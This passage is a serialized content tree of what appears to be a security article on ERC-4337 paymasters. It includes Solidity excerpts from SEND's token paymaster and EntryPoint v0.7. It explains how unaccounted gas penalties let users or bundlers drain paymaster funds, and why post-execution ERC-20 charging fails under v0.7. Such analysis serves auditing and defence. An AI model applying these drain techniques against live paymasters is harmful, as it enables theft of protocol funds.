",{"type":21,"tag":153,"props":106306,"children":106307},{"style":198},[106308],{"type":26,"value":2367},{"type":21,"tag":153,"props":106310,"children":106311},{"style":181},[106312],{"type":26,"value":106313}," updateCachedPrice",{"type":21,"tag":153,"props":106315,"children":106316},{"style":160},[106317],{"type":26,"value":189},{"type":21,"tag":153,"props":106319,"children":106320},{"style":170},[106321],{"type":26,"value":10901},{"type":21,"tag":153,"props":106323,"children":106324},{"style":160},[106325],{"type":26,"value":530},{"type":21,"tag":153,"props":106327,"children":106328},{"class":155,"line":26530},[106329,106333,106337],{"type":21,"tag":153,"props":106330,"children":106331},{"style":3050},[106332],{"type":26,"value":105677},{"type":21,"tag":153,"props":106334,"children":106335},{"style":170},[106336],{"type":26,"value":69053},{"type":21,"tag":153,"props":106338,"children":106339},{"style":3050},[106340],{"type":26,"value":105686},{"type":21,"tag":153,"props":106342,"children":106343},{"class":155,"line":26543},[106344,106348,106352,106356,106360,106364,106368,106372],{"type":21,"tag":153,"props":106345,"children":106346},{"style":214},[106347],{"type":26,"value":105425},{"type":21,"tag":153,"props":106349,"children":106350},{"style":160},[106351],{"type":26,"value":105698},{"type":21,"tag":153,"props":106353,"children":106354},{"style":198},[106355],{"type":26,"value":2367},{"type":21,"tag":153,"props":106357,"children":106358},{"style":160},[106359],{"type":26,"value":106304},{"type":21,"tag":153,"props":106361,"children":106362},{"style":198},[106363],{"type":26,"value":313},{"type":21,"tag":153,"props":106365,"children":106366},{"style":160},[106367],{"type":26,"value":105716},{"type":21,"tag":153,"props":106369,"children":106370},{"style":198},[106371],{"type":26,"value":7310},{"type":21,"tag":153,"props":106373,"children":106374},{"style":160},[106375],{"type":26,"value":105725},{"type":21,"tag":153,"props":106377,"children":106378},{"class":155,"line":26556},[106379],{"type":21,"tag":153,"props":106380,"children":106381},{"style":3050},[106382],{"type":26,"value":106383},"            // Refund tokens based on actual gas cost\n",{"type":21,"tag":153,"props":106385,"children":106386},{"class":155,"line":26610},[106387,106391,106396,106400,106405,106409,106414,106418],{"type":21,"tag":153,"props":106388,"children":106389},{"style":214},[106390],{"type":26,"value":105425},{"type":21,"tag":153,"props":106392,"children":106393},{"style":160},[106394],{"type":26,"value":106395}," actualChargeNative ",{"type":21,"tag":153,"props":106397,"children":106398},{"style":198},[106399],{"type":26,"value":2367},{"type":21,"tag":153,"props":106401,"children":106402},{"style":160},[106403],{"type":26,"value":106404}," actualGasCost ",{"type":21,"tag":153,"props":106406,"children":106407},{"style":198},[106408],{"type":26,"value":4099},{"type":21,"tag":153,"props":106410,"children":106411},{"style":160},[106412],{"type":26,"value":106413}," tokenPaymasterConfig.refundPostopCost ",{"type":21,"tag":153,"props":106415,"children":106416},{"style":198},[106417],{"type":26,"value":313},{"type":21,"tag":153,"props":106419,"children":106420},{"style":160},[106421],{"type":26,"value":106422}," actualUserOpFeePerGas;\n",{"type":21,"tag":153,"props":106424,"children":106425},{"class":155,"line":26619},[106426,106430,106435,106439,106443],{"type":21,"tag":153,"props":106427,"children":106428},{"style":214},[106429],{"type":26,"value":105425},{"type":21,"tag":153,"props":106431,"children":106432},{"style":160},[106433],{"type":26,"value":106434}," actualTokenNeeded ",{"type":21,"tag":153,"props":106436,"children":106437},{"style":198},[106438],{"type":26,"value":2367},{"type":21,"tag":153,"props":106440,"children":106441},{"style":181},[106442],{"type":26,"value":105900},{"type":21,"tag":153,"props":106444,"children":106445},{"style":160},[106446],{"type":26,"value":106447},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":21,"tag":153,"props":106449,"children":106450},{"class":155,"line":34974},[106451,106455,106460,106464],{"type":21,"tag":153,"props":106452,"children":106453},{"style":1751},[106454],{"type":26,"value":61093},{"type":21,"tag":153,"props":106456,"children":106457},{"style":160},[106458],{"type":26,"value":106459}," (preCharge ",{"type":21,"tag":153,"props":106461,"children":106462},{"style":198},[106463],{"type":26,"value":13182},{"type":21,"tag":153,"props":106465,"children":106466},{"style":160},[106467],{"type":26,"value":106468}," actualTokenNeeded) {\n",{"type":21,"tag":153,"props":106470,"children":106471},{"class":155,"line":34995},[106472],{"type":21,"tag":153,"props":106473,"children":106474},{"style":3050},[106475],{"type":26,"value":106476},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":21,"tag":153,"props":106478,"children":106479},{"class":155,"line":83248},[106480,106485,106490,106495,106499],{"type":21,"tag":153,"props":106481,"children":106482},{"style":160},[106483],{"type":26,"value":106484},"                SafeERC20.",{"type":21,"tag":153,"props":106486,"children":106487},{"style":181},[106488],{"type":26,"value":106489},"safeTransfer",{"type":21,"tag":153,"props":106491,"children":106492},{"style":160},[106493],{"type":26,"value":106494},"(token, userOpSender, preCharge ",{"type":21,"tag":153,"props":106496,"children":106497},{"style":198},[106498],{"type":26,"value":3873},{"type":21,"tag":153,"props":106500,"children":106501},{"style":160},[106502],{"type":26,"value":106503}," actualTokenNeeded);\n",{"type":21,"tag":153,"props":106505,"children":106506},{"class":155,"line":83261},[106507,106511,106515,106519,106523,106527],{"type":21,"tag":153,"props":106508,"children":106509},{"style":160},[106510],{"type":26,"value":72889},{"type":21,"tag":153,"props":106512,"children":106513},{"style":1751},[106514],{"type":26,"value":2717},{"type":21,"tag":153,"props":106516,"children":106517},{"style":1751},[106518],{"type":26,"value":18485},{"type":21,"tag":153,"props":106520,"children":106521},{"style":160},[106522],{"type":26,"value":106459},{"type":21,"tag":153,"props":106524,"children":106525},{"style":198},[106526],{"type":26,"value":8537},{"type":21,"tag":153,"props":106528,"children":106529},{"style":160},[106530],{"type":26,"value":106468},{"type":21,"tag":153,"props":106532,"children":106533},{"class":155,"line":83269},[106534],{"type":21,"tag":153,"props":106535,"children":106536},{"style":3050},[106537],{"type":26,"value":106538},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":21,"tag":153,"props":106540,"children":106541},{"class":155,"line":83277},[106542],{"type":21,"tag":153,"props":106543,"children":106544},{"style":3050},[106545],{"type":26,"value":106546},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":21,"tag":153,"props":106548,"children":106549},{"class":155,"line":83285},[106550,106554,106558,106563,106567,106571,106575,106580,106584],{"type":21,"tag":153,"props":106551,"children":106552},{"style":160},[106553],{"type":26,"value":106484},{"type":21,"tag":153,"props":106555,"children":106556},{"style":181},[106557],{"type":26,"value":105935},{"type":21,"tag":153,"props":106559,"children":106560},{"style":160},[106561],{"type":26,"value":106562},"(token, userOpSender, ",{"type":21,"tag":153,"props":106564,"children":106565},{"style":214},[106566],{"type":26,"value":35334},{"type":21,"tag":153,"props":106568,"children":106569},{"style":160},[106570],{"type":26,"value":189},{"type":21,"tag":153,"props":106572,"children":106573},{"style":170},[106574],{"type":26,"value":20389},{"type":21,"tag":153,"props":106576,"children":106577},{"style":160},[106578],{"type":26,"value":106579},"), actualTokenNeeded ",{"type":21,"tag":153,"props":106581,"children":106582},{"style":198},[106583],{"type":26,"value":3873},{"type":21,"tag":153,"props":106585,"children":106586},{"style":160},[106587],{"type":26,"value":106588}," preCharge);\n",{"type":21,"tag":153,"props":106590,"children":106591},{"class":155,"line":83325},[106592],{"type":21,"tag":153,"props":106593,"children":106594},{"style":160},[106595],{"type":26,"value":61177},{"type":21,"tag":153,"props":106597,"children":106598},{"class":155,"line":83333},[106599],{"type":21,"tag":153,"props":106600,"children":106601},{"emptyLinePlaceholder":16},[106602],{"type":26,"value":759},{"type":21,"tag":153,"props":106604,"children":106605},{"class":155,"line":90520},[106606,106610,106615,106619,106623],{"type":21,"tag":153,"props":106607,"children":106608},{"style":1751},[106609],{"type":26,"value":61093},{"type":21,"tag":153,"props":106611,"children":106612},{"style":160},[106613],{"type":26,"value":106614}," (baseFee ",{"type":21,"tag":153,"props":106616,"children":106617},{"style":198},[106618],{"type":26,"value":13182},{"type":21,"tag":153,"props":106620,"children":106621},{"style":300},[106622],{"type":26,"value":5799},{"type":21,"tag":153,"props":106624,"children":106625},{"style":160},[106626],{"type":26,"value":2659},{"type":21,"tag":153,"props":106628,"children":106629},{"class":155,"line":90528},[106630,106634,106638],{"type":21,"tag":153,"props":106631,"children":106632},{"style":160},[106633],{"type":26,"value":106484},{"type":21,"tag":153,"props":106635,"children":106636},{"style":181},[106637],{"type":26,"value":106489},{"type":21,"tag":153,"props":106639,"children":106640},{"style":160},[106641],{"type":26,"value":106642},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":21,"tag":153,"props":106644,"children":106645},{"class":155,"line":103874},[106646],{"type":21,"tag":153,"props":106647,"children":106648},{"style":160},[106649],{"type":26,"value":61177},{"type":21,"tag":153,"props":106651,"children":106652},{"class":155,"line":103882},[106653],{"type":21,"tag":153,"props":106654,"children":106655},{"emptyLinePlaceholder":16},[106656],{"type":26,"value":759},{"type":21,"tag":153,"props":106658,"children":106659},{"class":155,"line":103890},[106660,106665,106670],{"type":21,"tag":153,"props":106661,"children":106662},{"style":1751},[106663],{"type":26,"value":106664},"            emit",{"type":21,"tag":153,"props":106666,"children":106667},{"style":181},[106668],{"type":26,"value":106669}," UserOperationSponsored",{"type":21,"tag":153,"props":106671,"children":106672},{"style":160},[106673],{"type":26,"value":106674},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":21,"tag":153,"props":106676,"children":106677},{"class":155,"line":103898},[106678,106683],{"type":21,"tag":153,"props":106679,"children":106680},{"style":181},[106681],{"type":26,"value":106682},"            refillEntryPointDeposit",{"type":21,"tag":153,"props":106684,"children":106685},{"style":160},[106686],{"type":26,"value":106687},"(_cachedPrice);\n",{"type":21,"tag":153,"props":106689,"children":106690},{"class":155,"line":103926},[106691],{"type":21,"tag":153,"props":106692,"children":106693},{"style":160},[106694],{"type":26,"value":2765},{"type":21,"tag":153,"props":106696,"children":106698},{"class":155,"line":106697},67,[106699],{"type":21,"tag":153,"props":106700,"children":106701},{"style":160},[106702],{"type":26,"value":539},{"type":21,"tag":153,"props":106704,"children":106706},{"class":155,"line":106705},68,[106707],{"type":21,"tag":153,"props":106708,"children":106709},{"style":160},[106710],{"type":26,"value":548},{"type":21,"tag":22,"props":106712,"children":106713},{},[106714,106716,106722,106724,106729,106731,106737],{"type":26,"value":106715},"Looking at the code above, during ",{"type":21,"tag":78,"props":106717,"children":106719},{"className":106718},[],[106720],{"type":26,"value":106721},"validatePaymasterUserOp",{"type":26,"value":106723},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":21,"tag":78,"props":106725,"children":106727},{"className":106726},[],[106728],{"type":26,"value":104780},{"type":26,"value":106730}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":21,"tag":78,"props":106732,"children":106734},{"className":106733},[],[106735],{"type":26,"value":106736},"postOp",{"type":26,"value":106738},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":21,"tag":22,"props":106740,"children":106741},{},[106742,106744,106749,106751,106758],{"type":26,"value":106743},"However, there is a critical oversight: ",{"type":21,"tag":8055,"props":106745,"children":106746},{},[106747],{"type":26,"value":106748},"the code does not account for gas penalties",{"type":26,"value":106750},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":21,"tag":29,"props":106752,"children":106755},{"href":106753,"rel":106754},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[33],[106756],{"type":26,"value":106757},"penalties incurred",{"type":26,"value":106759}," from differences between the execution gas limit and actual execution gas.",{"type":21,"tag":22,"props":106761,"children":106762},{},[106763],{"type":26,"value":106764},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":21,"tag":22,"props":106766,"children":106767},{},[106768,106770,106775],{"type":26,"value":106769},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":21,"tag":78,"props":106771,"children":106773},{"className":106772},[],[106774],{"type":26,"value":104479},{"type":26,"value":106776}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":21,"tag":66,"props":106778,"children":106780},{"id":106779},"incorrect-erc-20-handling",[106781],{"type":21,"tag":8055,"props":106782,"children":106783},{},[106784],{"type":26,"value":106785},"Incorrect ERC-20 Handling",{"type":21,"tag":22,"props":106787,"children":106788},{},[106789],{"type":26,"value":106790},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":21,"tag":22,"props":106792,"children":106793},{},[106794,106795,106800,106802,106807],{"type":26,"value":5034},{"type":21,"tag":78,"props":106796,"children":106798},{"className":106797},[],[106799],{"type":26,"value":104560},{"type":26,"value":106801}," flow above, we can see that paymasters have two key interaction points during a ",{"type":21,"tag":78,"props":106803,"children":106805},{"className":106804},[],[106806],{"type":26,"value":104479},{"type":26,"value":106808},"'s lifecycle:",{"type":21,"tag":126,"props":106810,"children":106811},{},[106812,106822],{"type":21,"tag":91,"props":106813,"children":106814},{},[106815,106817],{"type":26,"value":106816},"During validation via ",{"type":21,"tag":78,"props":106818,"children":106820},{"className":106819},[],[106821],{"type":26,"value":104667},{"type":21,"tag":91,"props":106823,"children":106824},{},[106825,106827],{"type":26,"value":106826},"After execution via ",{"type":21,"tag":78,"props":106828,"children":106830},{"className":106829},[],[106831],{"type":26,"value":104678},{"type":21,"tag":22,"props":106833,"children":106834},{},[106835],{"type":26,"value":106836},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":21,"tag":114,"props":106838,"children":106840},{"id":106839},"_1-pre-payment-with-refund-pattern",[106841],{"type":26,"value":106842},"1. Pre-Payment with Refund Pattern",{"type":21,"tag":22,"props":106844,"children":106845},{},[106846,106848,106853,106855,106860,106862,106868,106869,106875,106877,106882,106884,106889,106891,106896],{"type":26,"value":106847},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":21,"tag":78,"props":106849,"children":106851},{"className":106850},[],[106852],{"type":26,"value":104667},{"type":26,"value":106854},". After execution completes, ",{"type":21,"tag":78,"props":106856,"children":106858},{"className":106857},[],[106859],{"type":26,"value":104678},{"type":26,"value":106861}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":21,"tag":78,"props":106863,"children":106865},{"className":106864},[],[106866],{"type":26,"value":106867},"SEND",{"type":26,"value":52},{"type":21,"tag":78,"props":106870,"children":106872},{"className":106871},[],[106873],{"type":26,"value":106874},"Circle",{"type":26,"value":106876}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":21,"tag":78,"props":106878,"children":106880},{"className":106879},[],[106881],{"type":26,"value":104508},{"type":26,"value":106883},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":21,"tag":8055,"props":106885,"children":106886},{},[106887],{"type":26,"value":106888},"before",{"type":26,"value":106890}," execution (specifically during ",{"type":21,"tag":78,"props":106892,"children":106894},{"className":106893},[],[106895],{"type":26,"value":106721},{"type":26,"value":23436},{"type":21,"tag":114,"props":106898,"children":106900},{"id":106899},"_2-post-execution-charging-pattern",[106901],{"type":26,"value":106902},"2. Post-Execution Charging Pattern",{"type":21,"tag":22,"props":106904,"children":106905},{},[106906,106908,106913,106915,106920,106922,106927,106929,106934],{"type":26,"value":106907},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":21,"tag":78,"props":106909,"children":106911},{"className":106910},[],[106912],{"type":26,"value":104667},{"type":26,"value":106914},", the actual token payment is calculated and collected in ",{"type":21,"tag":78,"props":106916,"children":106918},{"className":106917},[],[106919],{"type":26,"value":104678},{"type":26,"value":106921}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":21,"tag":78,"props":106923,"children":106925},{"className":106924},[],[106926],{"type":26,"value":104479},{"type":26,"value":106928},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":21,"tag":78,"props":106930,"children":106932},{"className":106931},[],[106933],{"type":26,"value":104780},{"type":26,"value":106935},". This means users could interact with the paymaster without any prior setup.",{"type":21,"tag":22,"props":106937,"children":106938},{},[106939,106941,106946,106948,106954,106956,106962,106964,106969],{"type":26,"value":106940},"This approach used to work in ",{"type":21,"tag":78,"props":106942,"children":106944},{"className":106943},[],[106945],{"type":26,"value":104560},{"type":26,"value":106947}," version ",{"type":21,"tag":78,"props":106949,"children":106951},{"className":106950},[],[106952],{"type":26,"value":106953},"v0.6",{"type":26,"value":106955},", but the pattern no longer works in ",{"type":21,"tag":78,"props":106957,"children":106959},{"className":106958},[],[106960],{"type":26,"value":106961},"v0.7",{"type":26,"value":106963},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":21,"tag":78,"props":106965,"children":106967},{"className":106966},[],[106968],{"type":26,"value":106961},{"type":26,"value":106970}," handles the execution phase:",{"type":21,"tag":143,"props":106972,"children":106974},{"className":7205,"code":106973,"language":7204,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[106975],{"type":21,"tag":78,"props":106976,"children":106977},{"__ignoreMap":7},[106978,106994,107010,107030,107047,107054,107067,107091,107099,107112,107119,107126,107147,107186,107223,107235,107242,107278,107285,107306,107395,107424,107431,107444,107451,107471,107478,107499,107507,107515,107542,107570,107578,107621,107641,107654,107676,107692,107707,107714,107734,107742,107750,107758,107766,107774,107781,107788],{"type":21,"tag":153,"props":106979,"children":106980},{"class":155,"line":156},[106981,106985,106990],{"type":21,"tag":153,"props":106982,"children":106983},{"style":170},[106984],{"type":26,"value":92128},{"type":21,"tag":153,"props":106986,"children":106987},{"style":181},[106988],{"type":26,"value":106989}," _executeUserOp",{"type":21,"tag":153,"props":106991,"children":106992},{"style":160},[106993],{"type":26,"value":773},{"type":21,"tag":153,"props":106995,"children":106996},{"class":155,"line":166},[106997,107001,107006],{"type":21,"tag":153,"props":106998,"children":106999},{"style":214},[107000],{"type":26,"value":92306},{"type":21,"tag":153,"props":107002,"children":107003},{"style":192},[107004],{"type":26,"value":107005}," opIndex",{"type":21,"tag":153,"props":107007,"children":107008},{"style":160},[107009],{"type":26,"value":792},{"type":21,"tag":153,"props":107011,"children":107012},{"class":155,"line":225},[107013,107018,107022,107026],{"type":21,"tag":153,"props":107014,"children":107015},{"style":170},[107016],{"type":26,"value":107017},"        PackedUserOperation",{"type":21,"tag":153,"props":107019,"children":107020},{"style":170},[107021],{"type":26,"value":105309},{"type":21,"tag":153,"props":107023,"children":107024},{"style":192},[107025],{"type":26,"value":105314},{"type":21,"tag":153,"props":107027,"children":107028},{"style":160},[107029],{"type":26,"value":792},{"type":21,"tag":153,"props":107031,"children":107032},{"class":155,"line":239},[107033,107038,107042],{"type":21,"tag":153,"props":107034,"children":107035},{"style":170},[107036],{"type":26,"value":107037},"        UserOpInfo",{"type":21,"tag":153,"props":107039,"children":107040},{"style":170},[107041],{"type":26,"value":105377},{"type":21,"tag":153,"props":107043,"children":107044},{"style":192},[107045],{"type":26,"value":107046}," opInfo\n",{"type":21,"tag":153,"props":107048,"children":107049},{"class":155,"line":382},[107050],{"type":21,"tag":153,"props":107051,"children":107052},{"style":160},[107053],{"type":26,"value":26616},{"type":21,"tag":153,"props":107055,"children":107056},{"class":155,"line":501},[107057,107062],{"type":21,"tag":153,"props":107058,"children":107059},{"style":170},[107060],{"type":26,"value":107061},"    internal",{"type":21,"tag":153,"props":107063,"children":107064},{"style":170},[107065],{"type":26,"value":107066}," virtual\n",{"type":21,"tag":153,"props":107068,"children":107069},{"class":155,"line":533},[107070,107074,107078,107082,107087],{"type":21,"tag":153,"props":107071,"children":107072},{"style":1751},[107073],{"type":26,"value":48798},{"type":21,"tag":153,"props":107075,"children":107076},{"style":160},[107077],{"type":26,"value":5820},{"type":21,"tag":153,"props":107079,"children":107080},{"style":214},[107081],{"type":26,"value":48457},{"type":21,"tag":153,"props":107083,"children":107084},{"style":192},[107085],{"type":26,"value":107086}," collected",{"type":21,"tag":153,"props":107088,"children":107089},{"style":160},[107090],{"type":26,"value":2659},{"type":21,"tag":153,"props":107092,"children":107093},{"class":155,"line":542},[107094],{"type":21,"tag":153,"props":107095,"children":107096},{"style":160},[107097],{"type":26,"value":107098},"    [...]\n",{"type":21,"tag":153,"props":107100,"children":107101},{"class":155,"line":762},[107102,107107],{"type":21,"tag":153,"props":107103,"children":107104},{"style":214},[107105],{"type":26,"value":107106},"        bool",{"type":21,"tag":153,"props":107108,"children":107109},{"style":160},[107110],{"type":26,"value":107111}," success;\n",{"type":21,"tag":153,"props":107113,"children":107114},{"class":155,"line":776},[107115],{"type":21,"tag":153,"props":107116,"children":107117},{"style":160},[107118],{"type":26,"value":34353},{"type":21,"tag":153,"props":107120,"children":107121},{"class":155,"line":795},[107122],{"type":21,"tag":153,"props":107123,"children":107124},{"style":160},[107125],{"type":26,"value":107098},{"type":21,"tag":153,"props":107127,"children":107128},{"class":155,"line":808},[107129,107133,107138,107142],{"type":21,"tag":153,"props":107130,"children":107131},{"style":1751},[107132],{"type":26,"value":61093},{"type":21,"tag":153,"props":107134,"children":107135},{"style":160},[107136],{"type":26,"value":107137}," (methodSig ",{"type":21,"tag":153,"props":107139,"children":107140},{"style":198},[107141],{"type":26,"value":1694},{"type":21,"tag":153,"props":107143,"children":107144},{"style":160},[107145],{"type":26,"value":107146}," IAccountExecute.executeUserOp.selector) {\n",{"type":21,"tag":153,"props":107148,"children":107149},{"class":155,"line":820},[107150,107155,107159,107164,107168,107172,107176,107181],{"type":21,"tag":153,"props":107151,"children":107152},{"style":214},[107153],{"type":26,"value":107154},"                bytes",{"type":21,"tag":153,"props":107156,"children":107157},{"style":170},[107158],{"type":26,"value":105377},{"type":21,"tag":153,"props":107160,"children":107161},{"style":160},[107162],{"type":26,"value":107163}," executeUserOp ",{"type":21,"tag":153,"props":107165,"children":107166},{"style":198},[107167],{"type":26,"value":2367},{"type":21,"tag":153,"props":107169,"children":107170},{"style":170},[107171],{"type":26,"value":105974},{"type":21,"tag":153,"props":107173,"children":107174},{"style":160},[107175],{"type":26,"value":355},{"type":21,"tag":153,"props":107177,"children":107178},{"style":181},[107179],{"type":26,"value":107180},"encodeCall",{"type":21,"tag":153,"props":107182,"children":107183},{"style":160},[107184],{"type":26,"value":107185},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":21,"tag":153,"props":107187,"children":107188},{"class":155,"line":842},[107189,107194,107198,107202,107206,107210,107214,107218],{"type":21,"tag":153,"props":107190,"children":107191},{"style":160},[107192],{"type":26,"value":107193},"                innerCall ",{"type":21,"tag":153,"props":107195,"children":107196},{"style":198},[107197],{"type":26,"value":2367},{"type":21,"tag":153,"props":107199,"children":107200},{"style":170},[107201],{"type":26,"value":105974},{"type":21,"tag":153,"props":107203,"children":107204},{"style":160},[107205],{"type":26,"value":355},{"type":21,"tag":153,"props":107207,"children":107208},{"style":181},[107209],{"type":26,"value":107180},{"type":21,"tag":153,"props":107211,"children":107212},{"style":160},[107213],{"type":26,"value":189},{"type":21,"tag":153,"props":107215,"children":107216},{"style":170},[107217],{"type":26,"value":20389},{"type":21,"tag":153,"props":107219,"children":107220},{"style":160},[107221],{"type":26,"value":107222},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":21,"tag":153,"props":107224,"children":107225},{"class":155,"line":3204},[107226,107230],{"type":21,"tag":153,"props":107227,"children":107228},{"style":160},[107229],{"type":26,"value":72889},{"type":21,"tag":153,"props":107231,"children":107232},{"style":1751},[107233],{"type":26,"value":107234},"else\n",{"type":21,"tag":153,"props":107236,"children":107237},{"class":155,"line":3230},[107238],{"type":21,"tag":153,"props":107239,"children":107240},{"style":160},[107241],{"type":26,"value":34389},{"type":21,"tag":153,"props":107243,"children":107244},{"class":155,"line":3239},[107245,107249,107253,107257,107261,107265,107269,107273],{"type":21,"tag":153,"props":107246,"children":107247},{"style":160},[107248],{"type":26,"value":107193},{"type":21,"tag":153,"props":107250,"children":107251},{"style":198},[107252],{"type":26,"value":2367},{"type":21,"tag":153,"props":107254,"children":107255},{"style":170},[107256],{"type":26,"value":105974},{"type":21,"tag":153,"props":107258,"children":107259},{"style":160},[107260],{"type":26,"value":355},{"type":21,"tag":153,"props":107262,"children":107263},{"style":181},[107264],{"type":26,"value":107180},{"type":21,"tag":153,"props":107266,"children":107267},{"style":160},[107268],{"type":26,"value":189},{"type":21,"tag":153,"props":107270,"children":107271},{"style":170},[107272],{"type":26,"value":20389},{"type":21,"tag":153,"props":107274,"children":107275},{"style":160},[107276],{"type":26,"value":107277},".innerHandleOp, (callData, opInfo, context));\n",{"type":21,"tag":153,"props":107279,"children":107280},{"class":155,"line":3253},[107281],{"type":21,"tag":153,"props":107282,"children":107283},{"style":160},[107284],{"type":26,"value":61177},{"type":21,"tag":153,"props":107286,"children":107287},{"class":155,"line":3301},[107288,107293,107297,107302],{"type":21,"tag":153,"props":107289,"children":107290},{"style":181},[107291],{"type":26,"value":107292},"            assembly",{"type":21,"tag":153,"props":107294,"children":107295},{"style":160},[107296],{"type":26,"value":5820},{"type":21,"tag":153,"props":107298,"children":107299},{"style":671},[107300],{"type":26,"value":107301},"\"memory-safe\"",{"type":21,"tag":153,"props":107303,"children":107304},{"style":160},[107305],{"type":26,"value":2659},{"type":21,"tag":153,"props":107307,"children":107308},{"class":155,"line":3346},[107309,107314,107318,107322,107326,107331,107335,107339,107343,107347,107351,107355,107360,107365,107369,107374,107379,107383,107387,107391],{"type":21,"tag":153,"props":107310,"children":107311},{"style":160},[107312],{"type":26,"value":107313},"                success ",{"type":21,"tag":153,"props":107315,"children":107316},{"style":198},[107317],{"type":26,"value":24299},{"type":21,"tag":153,"props":107319,"children":107320},{"style":181},[107321],{"type":26,"value":593},{"type":21,"tag":153,"props":107323,"children":107324},{"style":160},[107325],{"type":26,"value":189},{"type":21,"tag":153,"props":107327,"children":107328},{"style":181},[107329],{"type":26,"value":107330},"gas",{"type":21,"tag":153,"props":107332,"children":107333},{"style":160},[107334],{"type":26,"value":21072},{"type":21,"tag":153,"props":107336,"children":107337},{"style":214},[107338],{"type":26,"value":35334},{"type":21,"tag":153,"props":107340,"children":107341},{"style":160},[107342],{"type":26,"value":21072},{"type":21,"tag":153,"props":107344,"children":107345},{"style":300},[107346],{"type":26,"value":2996},{"type":21,"tag":153,"props":107348,"children":107349},{"style":160},[107350],{"type":26,"value":1670},{"type":21,"tag":153,"props":107352,"children":107353},{"style":181},[107354],{"type":26,"value":12360},{"type":21,"tag":153,"props":107356,"children":107357},{"style":160},[107358],{"type":26,"value":107359},"(innerCall, ",{"type":21,"tag":153,"props":107361,"children":107362},{"style":300},[107363],{"type":26,"value":107364},"0x20",{"type":21,"tag":153,"props":107366,"children":107367},{"style":160},[107368],{"type":26,"value":17877},{"type":21,"tag":153,"props":107370,"children":107371},{"style":181},[107372],{"type":26,"value":107373},"mload",{"type":21,"tag":153,"props":107375,"children":107376},{"style":160},[107377],{"type":26,"value":107378},"(innerCall), ",{"type":21,"tag":153,"props":107380,"children":107381},{"style":300},[107382],{"type":26,"value":2996},{"type":21,"tag":153,"props":107384,"children":107385},{"style":160},[107386],{"type":26,"value":1670},{"type":21,"tag":153,"props":107388,"children":107389},{"style":300},[107390],{"type":26,"value":62639},{"type":21,"tag":153,"props":107392,"children":107393},{"style":160},[107394],{"type":26,"value":5909},{"type":21,"tag":153,"props":107396,"children":107397},{"class":155,"line":3355},[107398,107403,107407,107412,107416,107420],{"type":21,"tag":153,"props":107399,"children":107400},{"style":160},[107401],{"type":26,"value":107402},"                collected 